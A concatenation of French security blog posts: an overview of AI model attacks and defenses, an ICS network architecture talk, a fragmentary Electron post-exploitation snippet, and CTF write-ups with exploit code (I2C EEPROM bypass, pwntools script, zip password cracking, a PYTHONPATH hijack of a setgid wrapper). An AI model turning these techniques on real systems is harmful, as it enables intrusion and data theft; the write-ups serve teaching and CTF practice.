Cet article vient dresser un panorama sur la menace liée à l’IA et les principaux mécanismes de défense afin de démocratiser leur utilisation.

L’IA introduit de nouvelles techniques d’attaques, déjà largement exploitées par les Cybercriminels

Comme toute nouvelle technologie, l’IA introduit de nouvelles vulnérabilités et de nouveaux risques qu’il convient d’adresser en parallèle de son adoption. La surface d’attaque est grande : un acteur malveillant pourrait à la fois attaquer le modèle en lui-même (vol de modèle, reconstruction de modèle, détournement de l’usage initial) mais également ses données (extraire des données d’entraînement, modifier le comportement en ajoutant des fausses données, etc.).

Le Prompt injection est sans conteste la technique dont on parle le plus. Elle permet à un attaquant de réaliser des actions indésirables au modèle, comme extraire des données sensibles, exécuter du code arbitraire ou générer du contenu offensant.

Etant donné la variété grandissante des attaques sur les modèles d’IA, nous survolerons de manière non exhaustive les principales catégories :

Vol de données (impact sur la confidentialité)

Dès lors que des données servent à entraîner les modèles de Machine Learning, ces dernières peuvent être (partiellement) réutilisées pour répondre aux utilisateurs. Un modèle mal configuré peut alors être un peu trop verbeux, révélant involontairement des informations sensibles. Cette situation présente un risque de violation de la vie privée et d’atteinte à la propriété intellectuelle.

Et le risque est d’autant plus grand que les modèles sont « sur-entraînés » sur des données spécifiques (« overfitting »). Les attaques par oracle se déroulent quand le modèle est en production, lorsque l’attaquant questionne le modèle pour exploiter ses réponses. Ces attaques peuvent prendre plusieurs formes :

• Extraction/vol de modèle : un attaquant peut extraire une copie fonctionnelle d’un modèle privé en s’en servant comme d’un oracle. En interrogeant à plusieurs reprises l’accès API du modèle Machine Learning, l’adversaire peut collecter les réponses de celui-ci. Ces réponses serviront d’étiquettes pour former un modèle distinct qui imitera le comportement et les performances du modèle cible.
• Membership inference attacks (attaque par inférence d’appartenance) : cette attaque vise à vérifier si une donnée spécifique a été utilisée durant l’entrainement d’un modèle d’IA. Les conséquences peuvent être très importantes, notamment pour les données de santé : imaginez pouvoir vérifier si un individu est atteint d’un cancer ou non ! Cette méthode a été utilisée par le New York Times afin de prouver que ses articles ont été utilisés pour entrainer ChatGPT[1].

Déstabilisation et atteinte à la réputation (impact sur l’intégrité)

La performance d’un modèle de Machine Learning repose sur la fiabilité et la qualité de ses données d’entrainement. Les attaques par poison visent à compromettre les données d’entrainement pour affecter la performance du modèle :

• Déformation de modèle : l’attaque vise à manipuler délibérément un modèle durant l’apprentissage (soit à l’entraînement initial, soit après sa mise en production si le modèle continue à apprendre) afin d’introduire des biais et orienter les prédictions du modèle. En conséquence, le modèle biaisé pourra favoriser certains groupes ou certaines caractéristiques, ou être orienté vers des prédictions malveillantes.

• Backdoors : un attaquant peut entrainer et diffuser un modèle corrompu contenant une porte dérobée. Un tel modèle fonctionne normalement jusqu’à un input contenant un trigger modifie son comportement. Ce trigger peut être un mot, une date ou une image. Par exemple, un système de classification de logiciel malveillant peut laisser passer un logiciel malveillant s’il voit un mot clé spécifique dans son nom ou à partir d’une date spécifique. Du code malveillant peut aussi être exécuté[2] !

L’attaquant peut également rajouter un bruit soigneusement sélectionné pour tromper la prédiction d’un modèle sain. On parle d’exemple adversaire ou d’attaque par évasion :

• Attaque par évasion (adversarial attack): cette attaque a pour objectif de faire générer au modèle une sortie non prévue par le concepteur (se tromper dans une prédiction ou provoquer un dysfonctionnement dans le modèle). Cela peut être fait en modifiant légèrement l’entrée pour éviter d’être détectée comme entrée malveillante. Par exemple :

• • Demander au modèle de décrire une image blanche qui contient un prompt injection caché, écrit blanc sur blanc dans l’image.
  • Porter une paire de lunettes spécifique pour éviter d’être reconnu par un algorithme de reconnaissance faciale[3]
  • Ajouter un sticker quelconque sur un panneau « Stop » pour que le modèle reconnaisse un panneau de « Limitation de 45km/h »[4]

Impact sur la disponibilité

Au-delà du vol de données et de l’impact sur l’image, les attaquants peuvent également entraver la disponibilité des systèmes d’Intelligence Artificielle (IA). Ces tactiques ne visent pas seulement à rendre les données indisponibles, mais aussi à perturber le fonctionnement régulier des systèmes. On peut citer l’attaque par empoisonnement, qui aura pour impact de rendre indisponible le modèle le temps de le réentraîner (ce qui aura également un impact économique dû au coût de réentraînement du modèle). Voici un autre exemple d’attaque :

• Attaque par déni de service (DDOS) du modèle : comme toutes les autres applications, les modèles de Machine Learning sont sensibles aux attaques de déni de service qui peuvent entraver la disponibilité des systèmes. L’attaque peut combiner un nombre élevé de requêtes, tout en envoyant des requêtes très lourdes à traiter. Dans le cas des modèles de Machine Learning, les conséquences financières sont plus importantes car les tokens/prompts coûtent très cher (par exemple, ChatGPT n’est pas rentable malgré leurs 616 millions d’utilisateurs mensuels).

Deux pistes pour sécuriser vos projets d’IA : adapter vos contrôles cyber existants, et développer les mesures spécifiques de Machine Learning

Tout comme les projets en sécurité, une analyse de risque préalable est nécessaire afin d’implémenter les bons contrôles, tout en trouvant un compromis acceptable entre la sécurité et le fonctionnement du modèle. Pour ce faire, nos méthodes de risques traditionnelles doivent évoluer afin d’inclure les risques précédemment détaillés, qui ne sont pas bien couverts par les méthodes historiques.

A la suite de ces analyses de risques, des mesures de sécurité devront être implémentées. Wavestone a recensé plus de 60 mesures différentes. Dans cette deuxième partie, nous vous présentons une petite sélection de ces mesures à implémenter selon la criticité de vos modèles.

1.    Adapter les contrôles cyber aux modèles de Machine Learning

La première ligne de défense correspond aux mesures applicatives, infrastructurelles et organisationnelles de base de la cybersécurité. L’objectif est d’adapter des exigences qu’on connait déjà, qui sont présentes dans les différentes politiques de sécurité, mais qui ne s’appliquent pas forcément de la même manière pour des projets d’IA. Il faut prendre en compte ces spécificités, parfois assez fines.

L’exemple le plus parlant est celui de la réalisation de pentests IA. Les pentests classiques consistent à trouver une vulnérabilité pour rentrer dans le système d’information. Or, les modèles d’IA peuvent être attaqués sans rentrer dans le SI (comme les attaques par évasion et oracle). Les procédures de RedTeaming doivent évoluer pour traiter ces particularités, tout en faisant évoluer les mécanismes de détection et de réponse à incident afin de couvrir les nouvelles applications de l’IA.

Un autre exemple essentiel est celui de l’isolation des environnements d’IA utilisés tout au long du cycle de vie des modèles de Machine Learning. Cela permet de réduire les impacts d’une compromission en protégeant les modèles, les données d’entraînement et les résultats de prédiction.

Il faut également évaluer les réglementations et les lois auxquelles l’application de Machine Learning doit se conformer et respecter les dernières lois en vigueur sur l’intelligence artificielle (IA Act en Europe, par exemple).

Et enfin, une mesure plus que classique : les campagnes de sensibilisation et de formation. Il faut s’assurer que les parties prenantes (chef de projet, développeurs, etc.) soient formés aux risques des systèmes d’IA et que les utilisateurs soient avertis de ces risques.

2.    Les contrôles spécifiques pour protéger les modèles de Machine Learning sensibles

Au-delà des mesures classiques à adapter, des mesures spécifiques doivent être identifiées et appliquées.

Pour vos projets les moins critiques, faites simple et implémentez la base

Poison control : afin de se prémunir des attaques par empoisonnement, il faut détecter toute « fausse » donnée ayant pu être injectée par un attaquant. La mesure consiste à mettre en œuvre une analyse statistique exploratoire pour repérer les données empoisonnées (analyser la distribution des données et repérer les données absurdes par exemple). Cette étape peut être incluse dans le cycle de vie d’un modèle de Machine Learning pour automatiser les actions en aval. Cependant, une vérification humaine sera toujours nécessaire.

Input control (analyser les entrées fournies par un utilisateur) : pour contrer les attaques par prompt injection et par évasion, les entrées de l’utilisateur sont analysées et filtrées pour bloquer toutes les entrées malveillantes. Nous pouvons penser à des règles basiques (bloquer les requêtes contenant un mot spécifique) comme des règles statistiques plus spécifiques (format, consistance, cohérence sémantique, bruit, etc.). Cependant, cette approche peut avoir un impact négatif sur la performance du modèle, car les faux-positifs seraient bloqués.

Pour vos projets moyennement sensibles, viser un bon rapport investissement / couverture du risque

Des mesures, il y en a pléthores, et la littérature sur le sujet est très riche. En revanche, certaines mesures permettent de couvrir plusieurs risques à la fois. Il nous paraît intéressant de les considérer en premier.

Transform inputs : une étape de transformation de l’entrée est rajoutée entre l’utilisateur et le modèle. L’objectif est double :

1. Supprimer ou modifier toute entrée malveillante en reformulant l’entrée ou en la tronquant par exemple. Une implémentation via des encodeurs est également possible (mais sera détaillée dans la partie d’après).
2. Réduire la visibilité de l’attaquant pour contrer les attaques par oracle (qui nécessite de connaitre précisément l’entrée et la sortie du modèle) en rajoutant un bruit aléatoire ou en reformulant le prompt par exemple.

Selon la méthode d’implémentation, des impacts sur la performance du modèle sont à prévoir.

Supervise AI with AI models : tout modèle d’IA apprenant après sa mise en production doit faire l’objet d’une supervision spécifique dans des processus globaux de détection et de réponse aux incidents. Cela implique à la fois de collecter les journaux appropriés pour réaliser des investigations, mais également de surveiller la déviation statistique du modèle pour repérer toute dérive anormale. En d’autres termes, il s’agit d’évaluer dans le temps l’évolution de la qualité des prédictions. Le modèle Tay de Microsoft lancé sur Twitter en 2016 est un bon exemple d’un modèle qui a dérivé.

Pour vos projets critiques, allez plus loin pour couvrir les risques spécifiques

Il y a des mesures qui nous paraissent très efficaces pour couvrir certains risques. Bien sûr, cela implique de faire une analyse de risques en amont. Voici deux exemples (parmi tant d’autres) :

Randomized Smoothing : une technique d’entrainement visant à renforcer la robustesse des prédictions d’un modèle. Ce dernier est entraîné deux fois : une première fois avec les données d’entraînement réelles, puis une seconde fois avec ces mêmes données altérées par du bruit. L’objectif est d’avoir le même comportement, en présence d’un bruit dans l’entrée ou non. Cela limite ainsi les attaques par évasion, notamment pour les algorithmes de classification.

Apprentissage par exemples contradictoires (adversarial learning) : l’objectif est d’apprendre au modèle à reconnaitre une entrée malveillante pour le rendre plus robuste aux Adversarial Attacks. Concrètement, cela revient à labéliser des exemples contradictoires (soit une vraie entrée qui inclus une petite erreur / perturbation) comme des données malveillantes et à les ajouter durant la phase d’entraînement. En confrontant le modèle à ces attaques simulées, il apprend à reconnaître et à contrer les patterns malveillants. La mesure est très efficace mais elle implique un certain coût en ressources (phase d’entraînement plus longue) et peut avoir un impact sur la précision du modèle.

Les gardiens polyvalents – trois sentinelles de la sécurité en IA

Trois méthodes ressortent du lot par leur efficacité et leur capacité à mitiger plusieurs scénarios d’attaques simultanément : le GAN (Generative Adversarial Network), les filtres (encodeurs et auto-encodeurs qui sont des modèles de réseaux de neurones) et l’apprentissage fédéré.

Le GAN : le faussaire et le critique

Le GAN, ou Réseau Génératif Antagoniste (« Generative Adversarial Network » en anglais), est une technique d’entraînement de modèle d’IA qui fonctionne comme un faussaire et un critique travaillant ensemble. Le faussaire, appelé le générateur, crée des « copies d’œuvres d’art » (comme des images). Le critique, appelé le discriminateur, évalue ces œuvres pour identifier les fausses œuvres des vraies et donne des conseils au faussaire pour s’améliorer. Les deux travaillent en tandem pour produire des œuvres de plus en plus réalistes jusqu’à ce que le critique n’arrive plus à identifier les fausses données des vraies.

Un GAN peut aider à réduire la surface d’attaque sur deux façons :

• Avec le générateur (le faussaire) pour éviter les fuites de données sensibles. Une nouvelle base de données d’entrainement fictive peut être générée, semblable à l’originale, mais ne contenant pas de données sensibles ou personnelles.
• Avec le discriminateur (le critique) limite les attaques par évasion ou par empoisonnement en identifiant les données malveillantes. Le discriminateur compare les entrées d’un modèle avec ses données d’entrainement. Si elles sont trop différentes, alors l’entrée est classée comme malveillante. En pratique, il est capable de prédire si une entrée appartient aux données d’entraînement en lui associant un scope de vraisemblance.

Les auto-encodeurs : un algorithme d’apprentissage non supervisé pour filtrer les entrées et les sorties

Un auto-encodeur transforme une entrée dans une autre dimension, modifiant sa forme mais pas son essence. Pour prendre une analogie simplificatrice, c’est comme si le prompt était résumé et réécrit pour supprimer les éléments indésirables. En pratique, l’entrée est compressée par un encodeur supprimant ainsi le bruit (via une première couche du réseau de neurones), puis elle est reconstruite via un décodeur (via une deuxième couche). Ce modèle a deux utilisations :

• Si un auto-encodeur est positionné en amont du modèle, il aura la capacité de transformer l’input avant qu’il ne soit traité par l’application, supprimant de potentielles charges malveillantes. De cette manière, il devient plus difficile pour un attaquant d’introduire des éléments permettant une attaque par évasion par exemple.
• Nous pouvons utiliser ce même système en aval du modèle pour se protéger des attaques oracle (qui visent à extraire des informations sur les données ou le modèle en les interrogeant). Les sorties seront ainsi filtrées, réduisant la verbosité du modèle, c’est-à-dire en réduisant la quantité d’information en sortie du modèle.

Federated Learning : l’union fait la force

Lorsqu’un modèle est déployé sur plusieurs appareils, une méthode d’apprentissage délocalisée telle que l’apprentissage fédéré peut être employée. Le principe : plusieurs modèles apprennent localement avec leurs propres données et ne remontent au système central que leurs apprentissages. Cela permet à plusieurs appareils de collaborer sans partager leurs données brutes. Cette technique permet de couvrir un grand nombre de risques cyber des applications basées sur des modèles d’intelligence artificielle :

• La segmentation des bases de données d’entraînement joue un rôle crucial dans la limitation des risques d’empoisonnement par Backdoor et par Model Skewing. Du fait que les données d’entraînement sont spécifiques à chaque appareil, il devient extrêmement difficile pour un attaquant d’injecter des données malveillantes de manière coordonnée, étant donné qu’il n’a pas accès à l’ensemble global des données d’entraînement. Cette même division limite les risques d’extraction de données.
• Le processus d’apprentissage fédéré permet également de limiter les risques d’extraction de modèle. Le processus d’apprentissage rend extrêmement complexe le lien entre les données d’entraînement et le comportement du modèle, car celui-ci n’opère pas un apprentissage direct. Il devient alors difficile pour un attaquant de comprendre le lien entre les données d’entrée et les données de sorties.

Ensemble, le GAN, les filtres (encodeurs et auto-encodeurs) et l’apprentissage fédéré forment une bonne proposition de couverture de risque pour les projets de Machine Learning malgré la technicité de leur mise en œuvre. Ces gardiens polyvalents démontrent que l’innovation et la collaboration sont les piliers d’une défense robuste dans le paysage dynamique de l’intelligence artificielle.

Pour aller plus loin, Wavestone a rédigé pour l’ENISA un guide pratique pour sécuriser le déploiement d’apprentissage automatique dans lequel sont listés les différents contrôles de sécurité à établir.

En résumé

L’intelligence artificielle peut être compromise par des méthodes que l’on ne rencontrait pas usuellement sur nos systèmes d’information. Il n’existe pas de risque zéro : tout modèle est vulnérable. Pour mitiger ces nouveaux risques, des mécanismes de défense supplémentaires sont à prendre en main et à implémenter selon le niveau de criticité du projet. Un compromis devra alors être trouvé entre la sécurité et la performance du modèle.

La sécurité de l’IA est un domaine très actif, des internautes de Reddit jusqu’aux travaux de recherche poussés sur la déviation de modèle par exemple. C’est pourquoi il est important d’organiser une veille organisationnelle et technique sur le sujet.

[1] New York Times proved that their articles were in AI training data set

[2] Au moins une centaine de modèles d’IA malveillants seraient hébergés par la plateforme Hugging Face

[3] Sharif, M. et al. (2016). Accessorize to a crime: Real and stealthy attacks on state-of-the-art face recognition. ACM Conference on Computer and Communications Security (CCS)

[4] Eykholt, K. et al. (2018). Robust Physical-World Attacks on Deep Learning Visual Classification. CVPR. https://arxiv.org/pdf/1707.08945.pdf

Cet article Sécuriser l’IA : Les Nouveaux Enjeux de Cybersécurité est apparu en premier sur RiskInsight.

Comme indiqué dans mon premier article sur le sujet, cette année, j’ai eu l’occasion de parler sur la scène principale de s4, une conférence de 3 jours, dédiée à la cybersécurité ICS, qui s’est tenue à Miami South Beach du 19 au 21 avril 2022 et organisée par Dale Peterson.

Le thème de cette année était « No Limits ! ». Ce thème m’a donné l’idée de réfléchir à l’avenir des architectures de réseaux ICS.

La vidéo de la conférence est maintenant disponible sur la chaîne YouTube de S4Events : lien

C’est donc l’occasion de vous donner plus de détails sur la présentation.

Genèse de la présentation

Dans le cadre de mes missions chez Wavestone, je travaille beaucoup sur la cybersécurité des SCI au sein de différentes entreprises. Ces dernières années, mon travail d’assistance et de soutien aux RSSI s’est de plus en plus concentré sur les architectures réseau.

J’ai beaucoup entendu ce genre de déclarations :

• « J’ai besoin d’envoyer des données vers le Cloud pour pouvoir optimiser ma production ».
• « Mon usine est exploitée par un partenaire externe, et j’ai besoin de me connecter à son système d’information ».
• « Dans mon secteur d’activité, je suis tenu légalement et contractuellement d’envoyer ce type de données industrielles à un tiers ».

Il y a de plus en plus de besoins professionnels nécessitant des interconnexions avec le SCI qui semblent légitimes. Mais comment permettre ces interconnexions de manière sécurisée ? Et pouvons-nous dire oui à tout ?

Les exigences en matière de cybersécurité des SCI ont toujours été les mêmes. Et en termes d’architecture de réseau, nous en arrivons toujours au modèle Purdue, ainsi qu’à la méthodologie des zones et des conduits. Traditionnellement, il y a une certaine rigidité quant à ce qu’est une architecture ICS « sécurisée ».

L’Internet a tendance à être considéré comme le « mal ultime » quand on parle d’ICS.

Eh bien, « No Limits ! » m’a donné envie de rêver un peu. Et si je pouvais partir de zéro et construire l’architecture ICS de mes rêves sans aucunes limites ?

Dans ma présentation, je compare et oppose les exigences et l’architecture de réseau sécurisée ICS correspondante de deux activités très différentes au sein de la même entreprise : les centrales électriques et les fermes solaires/éoliennes.

L’histoire de deux architectures ICS sécurisées (très différentes)

Présentation d’un cas pratique

J’ai travaillé pour des entreprises qui possèdent une grande variété de systèmes de contrôle :

• Activités historiques : centrales électriques (nucléaires, chimiques), raffineries.
• Nouveaux métiers : parcs solaires et éoliens

Ces différents métiers se retrouvent aujourd’hui au sein d’une même entreprise.

Pour ces entreprises, la politique de cybersécurité ICS existante doit être adaptée aux nouveaux usages et métiers. Dans ce cadre, comment définir des exigences/règles de cybersécurité qui s’appliqueraient à l’ensemble de l’entreprise ?

Durant mon intervention, je présente en détail les deux cas d’utilisation.

L’architecture historique sécurisée ICS

Parlons d’abord de l’architecture historique. Elle suit le modèle Purdue, avec les bonnes vieilles exigences de cybersécurité des SCI :

• Une zone démilitarisée (DMZ) entre le réseau informatique et le réseau opérationnel, protégée par des pare-feu (un pare-feu entre le réseau opérationnel et la DMZ et un pare-feu entre la DMZ et le réseau informatique).
• Pas de communication directe entre les réseaux IT et OT
• Rupture de protocole dans la DMZ (utilisation de serveurs relais)
• Pas d’accès local à Internet sur le réseau OT (l’accès à Internet passe par le réseau IT)

Lorsque nous essayons d’appliquer les mêmes principes d’architecture au cas d’utilisation d’une ferme solaire/éolienne, nous aboutissons à quelque chose qui n’a pas de sens :

• Des communications d’OT à OT passant par le réseau IT
• Plusieurs DMZ et deux pares-feux pour chaque site industriel, même ceux qui n’ont que quelques actifs sur le réseau.

L’architecture sécurisée de la ferme solaire/éolienne

Ce cas de figure nous montre qu’il est nécessaire d’essayer autre chose et de repartir de zéro. Et si nous pouvions construire un réseau industriel géographiquement distribué en exploitant la technologie SD-WAN ?

• Réseau OT :
  • Bordure SD-WAN avec pare-feu de nouvelle génération sur chaque site
  • Tunnels VPN IPSEC entre les sites
  • Règles de filtrage à travers le VPN pour n’autoriser que les flux légitimes, comme Modbus par exemple.
  • Détection avec activation de l’IDS sur les firewallsDMZ in the Cloud
• Principalement une DMZ entre le réseau OT et l’Internet directement (nous avons accès à l’Internet sans passer par le réseau IT)
• Plusieurs firewalls pour protéger les différentes zones
• Services centraux pour le réseau OT
  • Bastion pour l’accès à distance
  • Antivirus et serveurs de mise à jour : ils obtiennent leurs mises à jour directement d’Internet (sites officiels) par le biais d’une liste blanche d’URL avec des proxies et distribuent ensuite les mises à jour au réseau OT par le biais de l’architecture SD-WAN.IT network
• Interconnexion à travers le Cloud uniquement avec un autre pare-feu dédié

Voici les principales différences avec l’architecture précédente :

• Nous ne passons plus par le réseau informatique pour faire communiquer les sites industriels entre eux.
• Nous avons une DMZ entre le réseau OT et l’Internet directement
• Nous n’avons besoin que d’une seule DMZ globale pour le réseau industriel.

Cependant, soyez prudent. Cette architecture est plus risquée que l’architecture historique.

• Maintenir un bon niveau de cybersécurité est difficile. Des erreurs peuvent être observées avec le temps sur le SD-WAN.

Par exemple, on peut exposer un site directement sur Internet à cause d’une mauvaise configuration du SD-WAN edge.

• Plusieurs exigences doivent être respectées pour protéger les actifs industriels :
• Les communications doivent être contrôlées de bout en bout.
• Les communications sont sécurisées en fonction du niveau et des besoins de l’entreprise : Tunnels VPN IPSEC, filtrage réseau, relais si nécessaire, authentification, chiffrement, détection, etc.

La rigueur est la clé avec cette architecture. Et finalement, ce que j’aime le plus, c’est le fait que les bases de la cybersécurité doivent être respectées… enfin !

Méthode de classification ICS

Revenons maintenant à notre objectif initial : comment formaliser les exigences de cybersécurité pour l’ensemble de l’entreprise et différencier les architectures sécurisées ICS ?

Pouvons-nous construire quelque chose autour des risques ?

Je présente une méthodologie de classification des SCI basée sur une approche standard basée sur les risques :

• Impact : en utilisant l’échelle d’impact HSE standard de l’entreprise.
• Probabilité : prise en compte de plusieurs facteurs, tels que la fonctionnalité du système ou sa connectivité.

Avec l’impact et la probabilité, nous pouvons placer notre système sur une matrice de risque qui donne la classification du système. Dans cet exemple, nous avons 4 classes d’ICS.

Ensuite, je l’applique à nos deux cas d’utilisation. Nous nous retrouvons avec une classification différente pour nos systèmes :

• Système de classe 2 pour la ferme solaire/éolienne
  • Impact limité (2) car il n’y a pas de risque HSE
  • Probabilité importante (3) en raison de la haute connectivité du système
• Système de classe 3 pour la centrale électrique
  • Impact élevé (3) en raison du risque HSE
  • Probabilité faible (2) car les interconnexions du système sont limitées.

Ainsi, dans notre politique de cybersécurité ICS, nous pouvons avoir différentes exigences de cybersécurité en fonction de la classification du système.

A retenir

Plusieurs facteurs peuvent être pris en compte pour une décision d’architecture :

• Que fait le système de contrôle ?
• Quel serait l’impact d’une cyberattaque ?
• Quel est le niveau d’exposition du système ?

Pour conclure la présentation, j’encourage les entreprises à lancer un groupe de travail pour soutenir les projets et construire une architecture sécurisée pour les nouveaux usages des SCI. Une bonne idée pourrait être de créer des modèles d’architecture : identifier plusieurs cas d’utilisation pour l’entreprise et créer des architectures de référence basées sur l’analyse des risques.

Cependant, il faut trouver le bon équilibre : avoir différentes architectures sécurisées pour chacun des cas d’utilisation au sein de l’entreprise est une bonne chose, mais seulement jusqu’à un certain niveau de gestion. En effet, vous devrez assurer la maintenance de toutes ces architectures et solutions. Donc, malheureusement, vous ne pouvez pas avoir autant d’architectures que de systèmes de contrôle !

Cet article S4x22 – L’histoire de deux architectures ICS sécurisées (très différentes) est apparu en premier sur RiskInsight.

Introduction

Components of Electron 

https://www.wildnettechnologies.com/build-cross-platform-desktop-apps-with-electron/

Principe de l’attaque

• Le dossier « app » qui contient l’application ;
• Le fichier « electron.asar » qui prépare l’environnement Chronium au lancement de l’application.

app.on(‘browser-window-focus‘, function (event, bWindow) { bWindow.webContents.executeJavaScript(« alert(Hello Github !!’);« ) })

Démonstration

Conclusion

Cet article BEEMKA – Electron Post-Exploitation When The Land Is Dry est apparu en premier sur RiskInsight.

Introduction

This 8051 board has a SecureEEPROM installed. It’s obvious the flag is stored there. Go and get it.

$ LD_PRELOAD=exit.so ./flagrom
What’s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with c7e0be?
That looks wrong. Good bye.
Wrong answer. Good bye.
What’s the length of your payload?
0
Executing firmware…
[FW] Writing flag to SecureEEPROM……………DONE
[FW] Securing SecureEEPROM flag banks………..DONE
[FW] Removing flag from 8051 memory………….DONE
[FW] Writing welcome message to SecureEEPROM….DONE
Executing usercode…
Clean exit.

void main(void) {
write_flag();
secure_banks();
remove_flag();
write_welcome();
POWEROFF = 1;
}

Timing diagram of a I²C communication (source: Wikipedia)

With this in mind, a path of three transactions can be found to read secured areaFirst load an address in the first unprotected bank and end with a start bit:

Then secure the first bank:

 

Finally, start a read action and read past the current bank boundaries:

void seeprom_write_byte(unsigned char addr, unsigned char value) {
seeprom_wait_until_idle();
I2C_ADDR = SEEPROM_I2C_ADDR_MEMORY;
I2C_LENGTH = 2;
I2C_ERROR_CODE = 0;
I2C_DATA[0] = addr;
I2C_DATA[1] = value;
I2C_RW_MASK = 0b00; // 2x Write Byte

I2C_STATE = 1;
seeprom_wait_until_idle();
}

__sfr __at(0xfa) RAW_I2C_SCL;
__sfr __at(0xfb) RAW_I2C_SDA;

unsigned char i2c_write_byte(unsigned char send_start,
unsigned char send_stop,
unsigned char byte);
unsigned char i2c_read_byte(unsigned char send_stop);

#define SEEPROM_I2C_CTRL_READ (SEEPROM_I2C_ADDR_MEMORY | 0b1)
#define SEEPROM_I2C_CTRL_WRIT (SEEPROM_I2C_ADDR_MEMORY | 0b0)

void main(void) {
int i;
print(« start user program\n »);
/* Load address 0 */
i2c_write_byte(1, 0, SEEPROM_I2C_CTRL_WRIT);
i2c_write_byte(0, 0, 0);
/* Secure all banks */
i2c_write_byte(1, 0, SEEPROM_I2C_ADDR_SECURE | 0b1111);
/* Read 255 bytes of memory */
i2c_write_byte(1, 0, SEEPROM_I2C_CTRL_READ);
for (i=0; i<255; i++) {
if (i%64 == 0) {
print(« \n »);
}
CHAROUT = i2c_read_byte(0);
}
print(« \n »);
POWEROFF = 1;
}

$ { echo; wc -c hack.bin; cat hack.bin; } | LD_PRELOAD=../solve/exit.so ./flagrom
What’s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with 01c5a4?
That looks wrong. Good bye.
Wrong answer. Good bye.
What’s the length of your payload?
Executing firmware…
[FW] Writing flag to SecureEEPROM……………DONE
[FW] Securing SecureEEPROM flag banks………..DONE
[FW] Removing flag from 8051 memory………….DONE
[FW] Writing welcome message to SecureEEPROM….DONE
Executing usercode…
start user program
Hello there.
On the real server the flag is loaded here.
Clean exit.

from pwn import *
io = remote(‘flagrom.ctfcompetition.com’, 1337)
ask = io.recvuntil(‘\n’).split()
start, md5 = ask[11], ask[16][:-1]
print « Proof of work with: »
print  » start = %s » % start
print  » md5 = %s » % md5
while True:
r = random.random()
s = start + str(r)
if hashlib.md5(s).hexdigest().startswith(md5):
print « Found %s » % s
break

$ python exploit.py remote hack.c
[+] Starting local process ‘./flagrom’: pid 7333
Sending payload
Received data
———————————-
[+] Receiving all data: Done (467B)
[*] Process ‘./flagrom’ stopped with exit code 0 (pid 7333)
Executing firmware…
[FW] Writing flag to SecureEEPROM……………DONE
[FW] Securing SecureEEPROM flag banks………..DONE
[FW] Removing flag from 8051 memory………….DONE
[FW] Writing welcome message to SecureEEPROM….DONE
Executing usercode…
start user program
Hello there
CTF{flagrom-and-on-and-on}
Clean exit.

Cet article GoogleCTF 2019 Quals – Flagrom Challenge Writeup est apparu en premier sur RiskInsight.

• Niveau technique avancé
• Accessibilité géographique
• Événement à taille humaine

Web-serveur : la simplicité (par ShrewkRoot)

Le site se présente sous la forme d’une page blanche contenant une vidéo du rappeur Orelsan :

 

 

Le premier réflexe à adopter dans ce cas est de s’orienter sur la cartographie de l’application : scan de ports, scans des dossiers, etc. Le challenge interdisant explicitement le bruteforce en ligne, ces solutions ne sont pas appliquées ici.

En revanche, deux fichiers sont souvent présents sur les applications web et permettent de découvrir tout ou partie de l’arborescence d’un site :

• /sitemap.xml : fichier XML contenant l’arborescence des différentes sections
• /robots.txt : fichier txt visant à interdire le crawling de certaines sections aux robots

En naviguant sur le second, l’application indique que le fichier backup.zip existe :

Le fichier backup.zip est bien accessible, et une fois téléchargé, demande un mot de passe pour l’extraction :

iansus @ iansus-server ~/rtfm/quals/simple % unzip backup.zip
Archive: backup.zip
[backup.zip] index.php password:

Il est facile de procéder au bruteforce de ce mot de passe à l’aide de la liste rockyou.txt (présente par défaut sur Kali Linux) et de l’outil fcrackzip :

iansus @ iansus-server ~/rtfm/quals/simple % fcrackzip -D -p rockyou.txt -u backup.zip
PASSWORD FOUND!!!!: pw == passw0rd

iansus @ iansus-server ~/rtfm/quals/simple % curl -X POST http://iansus.net:4444 –data ‘h1=1539722573.8918’ -s | grep sigsegv
h1 vaut: 0e633901513385170308561908425699</br><!–Bien joué le flag est sigsegv{a1a29afa647a20758e64b49d8eb453f4}–><!– Si une méthode ne fonctionne pas il faut en utiliser une autre –>

App-script : Fun avec Python (par laxa)

iansus @ iansus-server ~/rtfm/Qualifications-2018 % ssh -p 4443 chall@iansus.net
chall@iansus.net’s password:
Linux 4e5d88350bfc 4.9.0-8-amd64 #1 SMP Debian 4.9.110-3+deb9u4 (2018-08-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
aaaaaaaaaaaaaaaaaaaaaa
chall@4e5d88350bfc:~$ ls -l
total 16
-r–r—– 1 root chall-pwned 21 Oct 16 17:13 flag
-rwxr-xr-x 1 root root 307 Oct 16 17:13 hello-world.py
-rwxr-sr-x 1 root chall-pwned 6304 Oct 17 17:18 wrapper

#!/usr/bin/python2.7
from colors import colors
def main():
print(‘This is an advanced hello-world’)
print(‘The world is more joyful with colors’)
print(‘So, here we are:’)
print(‘{}Hello-World !{}’.format(colors.bcolors.OKBLUE, colors.bcolors.ENDC))
if __name__ == ‘__main__’:
main()

chall@4e5d88350bfc:~$ python2.7
Python 2.7.13 (default, Nov 24 2017, 17:33:09)
[GCC 6.3.0 20170516] on linux2
Type « help », « copyright », « credits » or « license » for more information.
>>> import colors
>>> colors.__file__
‘/usr/local/lib/python2.7/dist-packages/colors/__init__.py’

class bcolors:
HEADER = ‘\033[95m’
OKBLUE = ‘\033[94m’
OKGREEN = ‘\033[92m’
WARNING = ‘\033[93m’
FAIL = ‘\033[91m’
ENDC = ‘\033[0m’
BOLD = ‘\033[1m’
UNDERLINE = ‘\033[4m’

• Avec le nom du dossier contenant le script Python exécuter (les liens symboliques sont résolus)
• Avec la variable d’environnement $PYTHONPATH
• Avec le dossier d’installation par défaut des scripts

#!/usr/bin/python2.7
print open(‘/home/chall/flag’, ‘r’).read()
Il est alors possible de récupérer le flag comme suit :
chall@4e5d88350bfc:~$ PYTHONPATH=/tmp ./wrapper
sigsegv{un_flag_ici}
Traceback (most recent call last):
File « /home/chall/hello-world.py », line 3, in <module>
from colors import colors
ImportError: cannot import name colors

Web-client : Javascript Obfusqué (par Synacktiv)

Description : Le javascript est populaire de nos jours, serez-vous capable de retrouver le flag ?Le challenge se présente sous la forme d’un fichier HTML qui contient un formulaire pour vérifier le flag :

<html><SCRIPT LANGUAGE=« JavaScript »><!–
document.write(unescape(« %3C%53[..snip..]%54%3E »));//–></SCRIPT><SCRIPT LANGUAGE=« JavaScript »><!–
